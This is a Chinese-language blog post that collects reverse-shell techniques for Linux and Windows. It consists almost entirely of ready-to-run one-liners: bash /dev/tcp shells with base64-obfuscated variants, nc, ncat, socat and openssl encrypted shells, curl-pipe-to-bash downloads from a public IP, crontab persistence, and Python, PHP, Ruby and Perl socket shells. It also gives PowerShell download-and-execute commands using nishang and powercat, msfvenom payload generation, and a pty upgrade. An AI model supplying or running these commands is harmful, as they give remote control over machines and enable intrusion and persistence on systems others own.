反弹Shell的各种姿势-Linux

发布时间 2023-12-07 12:28:38作者: DumpInfou

反弹Shell-Linux

监听方式

nc -lnvp 7777


【监听端】centos: 192.168.35.152
【被控端】kali: 192.168.35.128    
# 监听端执行[root@localhost ~]# nc -vvl 7777		#Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777

bash

┌──(root@kali)-[/home/kali]
└─# bash -i >& /dev/tcp/43.153.175.240/8877 0>&1   

bash base64

# bash -i >& /dev/tcp/43.153.175.240/8877 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNTMuMTc1LjI0MC84ODc3IDA+JjE=}|{base64,-d}|{bash,-i}'

bash base64 URLencode

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

nc

nc -e /bin/bash 192.168.35.152 7777
mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.106 7777 >/tmp/f

ncat

ncat  192.168.2.106 7777 -e /bin/bash
ncat --udp 192.168.35.152 7777 -e /bin/bash

netcat

netcat 192.168.2.106 7777 -e /bin/bash

curl

网页内容:
cat bash.html
/bin/bash -i >& /dev/tcp/43.153.175.240/8877 0>&1

访问并执行网页内容:
curl 43.153.175.240/bash8877.html|bash
wget 43.153.175.240/bash8877.html

http

攻击方:
# 编写shell脚本并启动http服务器echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.sh
python2环境下:python -m SimpleHTTPServer 80
python3环境下:python -m http.server 80

被控端:
# 上传shell.sh文件wget 192.168.35.152/shell.sh# 执行shell.sh文件bash shell.sh

crontab

*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.35.152/7777  0>&1

whois

# 只能执行指定命令,如pwd命令whois -h 192.168.35.152 -p 7777 `pwd` 

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("106.15.181.34",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'  # 执行失败ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

perl

perl -e 'use Socket;$i="106.15.181.34";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

openssl

# 监听端openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 7777# orncat --ssl -vv -l -p 7777# 受控端mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s

反弹Shell-Windows

  • Windows下的反弹shell仅测试了nc,执行成功。
【监听端】centos: 192.168.35.152
【被控端】windows: 192.168.35.1    
# 监听端执行[root@localhost ~]# nc -vvl 7777	Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777

powercat

项目地址:https://github.com/besimorhino/powercat

System.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd

nc

nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe

nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

项目地址:https://github.com/samratashok/nishang

# 将nishang下载到攻击者本地,在目标机使用powershell执行以下命令IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777

Reverse UDP shell

IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777

MSF

# 找出各类反弹一句话payload的路径信息msfvenom -l payloads | grep 'cmd/windows/reverse'# 生成反弹shell,复制粘贴到靶机上运行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777

升级交互shell-Linux

python

python -c "import pty;pty.spawn('/bin/bash')"

python3

python3 -c "import pty;pty.spawn('/bin/bash')"

参考:

https://mp.weixin.qq.com/s/1qQhtZLapE08Ft7YcNxrHg